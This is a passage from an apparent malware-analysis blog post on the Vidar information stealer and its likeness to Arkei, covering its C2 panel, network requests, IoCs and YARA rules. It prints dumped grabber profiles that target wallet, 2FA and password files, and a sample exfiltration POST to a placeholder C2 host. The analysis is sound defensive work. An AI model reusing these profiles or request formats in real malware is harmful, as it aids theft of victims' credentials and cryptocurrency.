align="left"&gt;Number of files stolen&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;telegram&lt;/td&gt;&#10;&lt;td align="left"&gt;Telegram :)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;ver&lt;/td&gt;&#10;&lt;td align="left"&gt;The version of the Vidar malware&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;Also, there is a little trick here that I found nice. Here, the answer to the POST request is in fact, containing the config for the loader.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;If there is nothing, the response is "ok"&lt;/li&gt;&#10;&#9;&lt;li&gt;If there is something, the specified url(s) are stored.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-536" src="https://fumik0.com/wp-content/uploads/2019/01/vidar-post.webp" alt="POST" width="1728" height="442" loading="lazy" decoding="async" /&gt;&#10;&#10;Its the same thing used for the config and the network information.&#10;&#10;Example with a sandbox :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The POST request&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-537" src="https://fumik0.com/wp-content/uploads/2019/01/vidar-archive-post.webp" alt="Screenshot: Archive post" width="977" height="645" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The response of this POST request (select the tab)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-539" src="https://fumik0.com/wp-content/uploads/2019/01/vidar-answer-post.webp" alt="Screenshot: Answer POST" width="1002" height="404" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Server-Side&lt;/h2&gt;&#10;Because it's easy to find some information about the stealer, no needs to dig hard to have some marketplace where Vidar is sold. So let's see how it looks like by looking some classical commercial video (all the screenshot are collected from there), for attracting some possible customers. This could be completely different at that time, but it's what it was looking like at the beginning of November.&#10;&#10;&lt;em&gt;&lt;strong&gt;Login&lt;/strong&gt;&lt;/em&gt;&#10;&#10;&lt;img class="alignnone size-full wp-image-472" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-login.webp" alt="Screenshot: Vidar login" width="1246" height="809" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Dashboard&lt;/strong&gt;&lt;/em&gt;&#10;&#10;The panel is a classical fancy user-friendly interface, with all the basic information necessary for the customer to have a fast view how is goin' his business.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The current version of the builder&lt;/li&gt;&#10;&#9;&lt;li&gt;Until when he is able to generate some payloads&lt;/li&gt;&#10;&#9;&lt;li&gt;How many victims&lt;/li&gt;&#10;&#9;&lt;li&gt;The current balance on his account to re-subscribe again&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-448" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-ultra-hacks-dashboard.webp" alt="Screenshot: Ultra hacks dashboard" width="1111" height="399" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Logs&lt;/strong&gt;&lt;/em&gt;&#10;&#10;something to mention with the log part is that it's possible to put some notes on each data.&#10;&#10;&lt;img class="alignnone size-full wp-image-449" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-ultra-hacks-logs.webp" alt="Screenshot: Ultra hacks logs" width="1101" height="369" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Passwords&lt;/strong&gt;&lt;/em&gt;&#10;&#10;&lt;img class="alignnone size-full wp-image-450" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-ultra-hacks-passwords.webp" alt="Screenshot: Ultra hacks passwords" width="1101" height="565" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Builder&lt;/strong&gt;&lt;/em&gt;&#10;&#10;The builder tab is also pretty interesting because we have the changelog information about the stealer and on the download part, the malware generated will not be packed and this is the same scenario with Arkei.&#10;&#10;Customer/Threat actor must have to use his own crypter/packer software for his payload.&#10;&#10;&lt;img class="alignnone size-full wp-image-451" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-ultra-hacks-services.webp" alt="Screenshot: Ultra hacks services" width="1109" height="650" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Settings&lt;/strong&gt;&lt;/em&gt;&#10;&#10;The most important tab is obviously where it is possible to configure the payload, for grabbing some additional stuff on the machine with the profiles. Activate or deactivate some features to filtering the stealer for really specific purposes.&#10;&#10;It's also important to notify, that it's possible with Vidar to deploy multiple profiles at the same time. It means when the payload is infecting the victim machine, X archive for X profile is saved in "files" repository. The customer could be able to sort easily for malicious purposes after the grabbed data.&#10;&#10;&lt;img class="alignnone size-full wp-image-452" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-ultra-hacks-settings.webp" alt="Screenshot: Ultra hacks settings" width="1112" height="497" loading="lazy" decoding="async" /&gt;&#10;&#10;When editing or creating a new rule, we have this prompt panel appearing and this is in relation with what explained above with all possible path that the malware is able to search with the selected files.&#10;&#10;&lt;img class=" size-full wp-image-501 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-edit-rule.webp" alt="Screenshot: Vidar edit rule" width="625" height="581" loading="lazy" decoding="async" /&gt;&#10;&#10;After checking a little, there is plenty of profiles on the C2. This is what we could found:&#10;&#10;Default empty config:&#10;&lt;pre&gt;1,1,1,1,1,1,1,1,0,1,250,none;&lt;/pre&gt;&#10;Default initialized config:&#10;&lt;pre&gt;1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;&lt;/pre&gt;&#10;Examples of custom profiles:&#10;&lt;pre&gt;1,1,1,1,1,1,1,1,1,1,250,grabba;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;100;true;movies:music:mp3;&#10;1,1,0,1,1,1,1,1,1,1,250,инфа;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;&#10;1,1,1,1,1,1,1,1,1,1,250,Первое;%DESKTOP%\;*.txt:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*;50;true;movies:music:mp3;&#10;1,1,1,1,1,1,1,1,1,1,250,123435566;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;&#10;1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;&lt;/pre&gt;&#10;There are also some possibilities to see multiple profiles executed at the same time.&#10;&lt;pre&gt;1,1,1,1,1,1,0,1,1,1,250,&#10;&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;DESKTOP&lt;/span&gt;&lt;/strong&gt;;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*2fa*.png:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;&#10;&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;DOCUMENTS&lt;/span&gt;&lt;/strong&gt;;%DOCUMENTS%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;&#10;&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;DRIVE_REMOVABLE&lt;/strong&gt;&lt;/span&gt;;%DRIVE_REMOVABLE%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;&lt;/pre&gt;&#10;they are in fact Delimited with the specific format, as detailed as above. So here, we have 3 profiles :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;DESKTOP&lt;/li&gt;&#10;&#9;&lt;li&gt;DOCUMENTS&lt;/li&gt;&#10;&#9;&lt;li&gt;DRIVE_REMOVABLE&lt;/li&gt;&#10;&lt;/ul&gt;&#10;that will be stored into there respectively archives into "files" repository.&#10;&#10;&lt;em&gt;e.d: All dumped profiles are available on &lt;a href="https://github.com/Fmk0/work/tree/master/Vidar"&gt;my GitHub repository&lt;/a&gt;.&lt;/em&gt;&#10;&#10;Finally, with this quick analysis of the panel, something that is more and more common nowadays with a stealer, a loader feature, for pushing other malware.&#10;&#10;As mentioned in the introduction, this is a shop where customers will just have to deal to configure their malware, everything is managed by a team (?) behind for the maintenance and for avoiding proxy filtering stuff, domains are changed regularly (it's also easy to check this on the samples, because it looks like a new version means a new generated domain).&#10;&#10;&lt;img class="alignnone size-full wp-image-506" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-infos-02.webp" alt="Screenshot: Vidar infos 02" width="1500" height="374" loading="lazy" decoding="async" /&gt;&#10;&#10;Also, there is some possibility (of what they said) to have a 2FA Authentication to their account page.&#10;&#10;&lt;img class="alignnone size-full wp-image-505" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-infos.webp" alt="Screenshot: Vidar infos" width="1450" height="332" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Some fancy message&lt;/h3&gt;&#10;if we are searching for some stuff with the login panel, with have some sympathetic message.&#10;&#10;&lt;img class="alignnone size-full wp-image-457" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-https.webp" alt="Screenshot: Vidar https" width="812" height="282" loading="lazy" decoding="async" /&gt;&#10;&#10;Let's see what we have behind :)&#10;&#10;&lt;img class="alignnone size-full wp-image-456" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-easter-egg.webp" alt="Screenshot: Vidar easter egg" width="975" height="891" loading="lazy" decoding="async" /&gt;&#10;&#10;A kind of easter egg to remind us what is the signification of Vidar: "the God of Vengeance" in Nordic mythology.&#10;&lt;h2&gt;Vidar - An Arkei copycat?&lt;/h2&gt;&#10;If we are looking to requests and code, Vidar is almost identical to Arkei. There is slightly some differences at some point but all implemented features are the same. This could lose some blue team people if they don't make too much attention to it on sandbox results. Current Yara rules will trigger Vidar as Arkei, so automated assignations lead to mistakes at the moment of this review. Analyzing the code is mandatory here to understand what's goin' on.&#10;&#10;At first, the main function for both of them is similar :&#10;&#10;&lt;img class=" size-full wp-image-454 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/main-arkei-vidar.webp" alt="Screenshot: Main Arkei Vidar" width="480" height="739" loading="lazy" decoding="async" /&gt;&#10;&#10;The archive generation is also the same, so this is not with this information that it's possible to differentiate these two malware.&#10;&lt;h3&gt;Code differences&lt;/h3&gt;&#10;An easy to know if we are dealing with Vidar is to find "Vidar.cpp".&#10;&#10;&lt;img class=" size-full wp-image-461 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-cpp.webp" alt="VidarCpp" width="621" height="177" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Vidar Signature&lt;/strong&gt;&lt;/em&gt;&#10;&#10;&lt;img class="alignnone size-full wp-image-475" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-arkei-signature-02.webp" alt="Screenshot: Vidar arkei signature 02" width="1125" height="534" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;em&gt;&lt;strong&gt;Arkei signature&lt;/strong&gt;&lt;/em&gt;&#10;&#10;&lt;img class="alignnone size-full wp-image-474" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-arkei-signature.webp" alt="Screenshot: Vidar arkei signature" width="1679" height="810" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Network differences&lt;/h3&gt;&#10;An analyst can be dupe easily with the requests and thinking that we have another form of HTTP requests with Arkei, but it's not.&#10;&#10;&lt;strong&gt;&lt;em&gt;Vidar HTTP Requests&lt;/em&gt;&lt;/strong&gt;&#10;&lt;pre&gt;/ (i.e 162) &amp;lt;- Config&#10;ip-api.com/line/ &amp;lt;- Get Network Info&#10;/msvcp140.dll &amp;lt;- Required DLL&#10;/nss3.dll &amp;lt;- Required DLL&#10;/softokn3.dll &amp;lt;- Required DLL&#10;/vcruntime140.dll &amp;lt;- Required DLL&#10;/ &amp;lt;- Pushing Victim Archive to C2&lt;/pre&gt;&#10;there are no libraries downloaded on Arkei, this is something really specific to Vidar, for some parts of the stealing process.&#10;&#10;&lt;strong&gt;&lt;em&gt;Arkei HTTP Requests&lt;/em&gt;&lt;/strong&gt;&#10;&lt;pre&gt;/index.php &amp;lt;- Config&#10;ip-api.com/line/ &amp;lt;- Get Network Info&#10;/index.php &amp;lt;- Pushing Victim Archive to C2&lt;/pre&gt;&#10;&lt;strong&gt;&lt;em&gt;Config Format&lt;/em&gt;&lt;/strong&gt;&#10;&#10;&lt;img class="alignnone size-full wp-image-455" src="https://fumik0.com/wp-content/uploads/2018/12/config-differences-arkei-vidar.webp" alt="Screenshot: Config differences arkei vidar" width="1123" height="415" loading="lazy" decoding="async" /&gt;&#10;&#10;If you want to understand what is the purpose the config format for Arkei&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup span="2" width="85"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Saved Passwords&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Cookies / Autofill&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;History&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;CryptoCurrency&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;Skype&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;Steam&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Telegram&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Screenshot&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Grabber&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;txt:log:&lt;/td&gt;&#10;&lt;td align="left"&gt;Grabber Config&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;50&lt;/td&gt;&#10;&lt;td align="left"&gt;Max Size (kb)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="right" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;Self Delete&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;Also, there are some slight changes in the last POST requests, Vidar is just adding new fields like the profile and the versioning.&#10;&#10;To understand how far the requests looks the same, let's dig into a PCAP file. I indicated the differences in red, and apart from the versioning and profile values, all rest is the same. But if we dig into some older sample, it's impossible to see the differences except the path of the request.&#10;&#10;&lt;em&gt;&lt;strong&gt;Last POST request - Vidar&lt;/strong&gt;&lt;/em&gt;&#10;&lt;pre&gt;POST / HTTP/1.1&#10;Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1&#10;Accept-Language: ru-RU,ru;q=0.9,en;q=0.8&#10;Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1&#10;Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0&#10;Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A&#10;Content-Length: 66809&#10;Host: &lt;em&gt;&lt;strong&gt;some.lovely.vidar.c2.with.love&lt;/strong&gt;&lt;/em&gt;&#10;Connection: Keep-Alive&#10;Cache-Control: no-cache&#10;&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="hwid"&#10;&#10;90059c37-1320-41a4-b58d-2b75a9850d2f&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="os"&#10;&#10;Windows 7 Professional&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="platform"&#10;&#10;x86&#10;&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;--1BEF0A57BE110FD467A&lt;/span&gt;&#10;&lt;span style="color: #ff0000;"&gt;Content-Disposition: form-data; name="profile"&lt;/span&gt;&#10;&#10;&lt;span style="color: #ff0000;"&gt;XXX &amp;lt;- Random Int&lt;/span&gt;&lt;/strong&gt;&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="user"&#10;&#10;admin&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="cccount"&#10;&#10;0&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="ccount"&#10;&#10;0&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="fcount"&#10;&#10;0&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="telegram"&#10;&#10;0&#10;&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;--1BEF0A57BE110FD467A&lt;/span&gt;&#10;&lt;span style="color: #ff0000;"&gt;Content-Disposition: form-data; name="ver"&lt;/span&gt;&#10;&#10;&lt;span style="color: #ff0000;"&gt;4.1&lt;/span&gt;&lt;/strong&gt;&#10;--1BEF0A57BE110FD467A&#10;Content-Disposition: form-data; name="logs"; filename="COUNTRY_.zip"&#10;Content-Type: zip&lt;/pre&gt;&#10;&lt;h3&gt;Features differences&lt;/h3&gt;&#10;When we dig into the different features, there is some config part on Vidar that is in fact just some placebo options. in an example, the Steam stealing feature is implemented in Arkei is not found in Vidar. This is also the same thing with Skype but in contrary 2FA stealing stuff is only on Vidar (with what I have seen on samples in my possession).&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-495" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-missing-part.webp" alt="Strings only present in Arkei and not in the Vidar that I analyzed" width="750" height="175" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Strings only present in Arkei and not in the Vidar that I analyzed&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Is Arkei still active and maintained?&lt;/h2&gt;&#10;On one of the selling page of this stealer, it's still sold and continue to be updated. For example, it reveals that soon a final update on it will be pushed (v10). So let's see how this will turn.&#10;&#10;&lt;img class="alignnone size-full wp-image-490" src="https://fumik0.com/wp-content/uploads/2018/12/vidar-arkei-updates.webp" alt="Screenshot: Arkei updates" width="1241" height="498" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;The Vidar Cracked Version&lt;/h2&gt;&#10;There is also in the wild a cracked version that was already spotted by some people on twitter. This Vidar or "Anti-Vidar" as called in the source code of the panel and It's based on an early Vidar build (v2.3 it seems).&#10;&#10;&lt;strong&gt;&lt;em&gt;Login&lt;/em&gt;&lt;/strong&gt;&#10;&#10;The login is identical to the Android Lokibot panel (thanks to &lt;a href="https://twitter.com/siri_urz"&gt;@siri_urz&lt;/a&gt;). As always when confronted at this kind of stuff, the code never lies (or it seems) for helping us to identify what is the real C2/Malware.&#10;&#10;&lt;img class="alignnone size-full wp-image-460" src="https://fumik0.com/wp-content/uploads/2018/12/auth-vidar-cracked.webp" alt="Screenshot: Auth Vidar Cracked" width="2295" height="902" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;strong&gt;&lt;em&gt;Profile code&lt;/em&gt;&lt;/strong&gt;&#10;&#10;The profile is far more simple than the nowadays panels and samples, the default profile is hardcoded on the PHP file, and will get it if the value is 11.&#10;&lt;h2&gt;IoCs&lt;/h2&gt;&#10;&lt;p&gt;&lt;em&gt;&lt;strong&gt;SHA256 Hashes&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#10;&lt;pre class="ioc"&gt;3A20466CC8C07638B8882CCC9B14C08F605F700F03D388CF85B2E76C51D64D65&#10;0E982A02D754588D4EE99F30084B886B665FF04A1460D45C4FD410B04B10A8AF&#10;2679FA8E9FD0C1F6F26527D53759BB596FDA43A741B4DFCC99A8C0907836A835&#10;9EC586B07961E0C93C830DD1C47598FE21277432F11809A4B73DF7370CDD2E29&#10;42C6950CA57D8805C217E3334158DAB4CC71A50C94D77F608B1C442BFD2B01CA&#10;D71F81EDF8AC04639D3B7C80AA178DF95C2CBFE73F81E931448A475FB771267A&#10;DAD5FCEAB002791DD6FD575782C173F1A39E0E7CE36E6DE1BAEFA95D0A8FB889&#10;66162E69CA30A75E0DD1A6FBB9028FCFBE67B4ADE8E844E7C9FF2DCB46D993D8&#10;EFF272B93FAA1C8C403EA579574F8675AB127C63ED21DB3900F8AB4FE4EC6DA9&#10;EDBAC320C42DE77C184D30A69E119D27AE3CA7D368F802D2F8F1DA3B8D01D6DD&#10;B1D5B79D13F95A516ABBCC486841C8659984E5135F1D9C74343DCCD4390C3475&#10;543AEE5A5435C77A8DE01433079F6381ADB4110F5EF4350E9A1A56B98FE40292&#10;65B2BD17E452409397E2BD6F8E95FE8B708347D80074861698E4683BD12437A9&#10;47E89F2C76D018D4952D421C5F1D603716B10E1712266DA32F63082F042F9C46&#10;5D37323DA22C5414F6E03E06EFD184D7837D598C5E395E83C1BF248A7DE57155&#10;5C0AF9C605AFD72BEF7CE8184BCCC9578EDB3A17498ACEBB74D02EB4AF0A6D2E&#10;65287763245FDD8B56BB72298C78FEA62405BD35794A06AFBBE23CC5D38BE90A&#10;20E92C2BF75C473B745617932F8DC0F8051BFC2F91BB938B2CC1CD808EBBC675&#10;C752B68F3694B2FAAB117BCBA36C156514047B75151BBBFE62764C85CEF8ADE5&#10;AE2EBF5B5813F92B0F7D6FCBADFA6E340646E4A776163AE86905E735A4B895A0&#10;8F73E9C44C86D2BBADC545CED244F38472C5AACE0F75F57C8FC2398CE0A7F5A1&lt;/pre&gt;&#10;&#10;&lt;p&gt;thx &lt;a href="https://twitter.com/benkow_"&gt;@benkow_&lt;/a&gt; for the help to find some samples :)&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Domains&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#10;&lt;pre class="ioc"&gt;malansio[.]com&#10;nasalietco[.]com&#10;binacoirel[.]com&#10;newagenias[.]com&#10;bokolavrstos[.]com&#10;naicrose[.]com&#10;benderio[.]com&#10;cool3dmods[.]com&lt;/pre&gt;&#10;&lt;h2&gt;MITRE ATT&amp;amp;CK&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1082"&gt;Discovery - System Information Discovery&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1124"&gt;Discovery - System Time Discovery&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1012"&gt;Discovery - Query Registry&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1057/"&gt;Discovery - Process Discovery&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1059"&gt;Execution - Command-Line Interface&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1129"&gt;Execution - Execution through Module Load&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1081"&gt;Credential Access - Credentials in Files&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1113"&gt;Collection - Screen Capture&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1025"&gt;Collection - Data From Removable Media &lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1005/"&gt;Collection - Data from Local System&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1002"&gt;Exfiltration - Data Compressed&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&amp;nbsp;&#10;&lt;h2&gt;Yara Rules&lt;/h2&gt;&#10;&lt;em&gt;&lt;strong&gt;Vidar&lt;/strong&gt;&lt;/em&gt;&#10;&lt;pre&gt;rule Vidar_Stealer : Vidar &#10;{&#10; meta:&#10; description = "Yara rule for detecting Vidar stealer"&#10; author = "Fumik0_"&#10;&#10; strings:&#10; $mz = { 4D 5A }&#10;&#10; $s1 = { 56 69 64 61 72 }&#10; $s2 = { 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 }&#10; condition:&#10; $mz at 0 and ( (all of ($s*)) )&#10;}&#10;&#10;rule Vidar_Early : Vidar &#10;{&#10; meta:&#10; description = "Yara rule for detecting Vidar stealer - Early versions"&#10; author = "Fumik0_"&#10;&#10; strings:&#10; $mz = { 4D 5A }&#10; $s1 = { 56 69 64 61 72 }&#10; $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }&#10; condition:&#10; $mz at 0 and all of ($hx*) and not $s1&#10;}&#10;&#10;rule AntiVidar : Vidar &#10;{&#10; meta:&#10; description = "Yara rule for detecting Anti Vidar - Vidar Cracked Version"&#10; author = "Fumik0_"&#10;&#10; strings:&#10; $mz = { 4D 5A }&#10; $s1 = { 56 69 64 61 72 }&#10; $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }&#10; $hx2 = { 78 61 6B 66 6F 72 2E 6E 65 74 00 }&#10; condition:&#10; $mz at 0 and all of ($hx*) and not $s1&#10;}&lt;/pre&gt;&#10;&lt;em&gt;&lt;strong&gt;Arkei&lt;/strong&gt;&lt;/em&gt;&#10;&lt;pre&gt;rule Arkei&#10;{&#10; meta:&#10; Author = "Fumik0_"&#10; Description = "Rule to detect Arkei"&#10; Date = "2018/12/11"&#10;&#10; strings:&#10; $mz = { 4D 5A }&#10;&#10; $s1 = "Arkei" wide ascii&#10; $s2 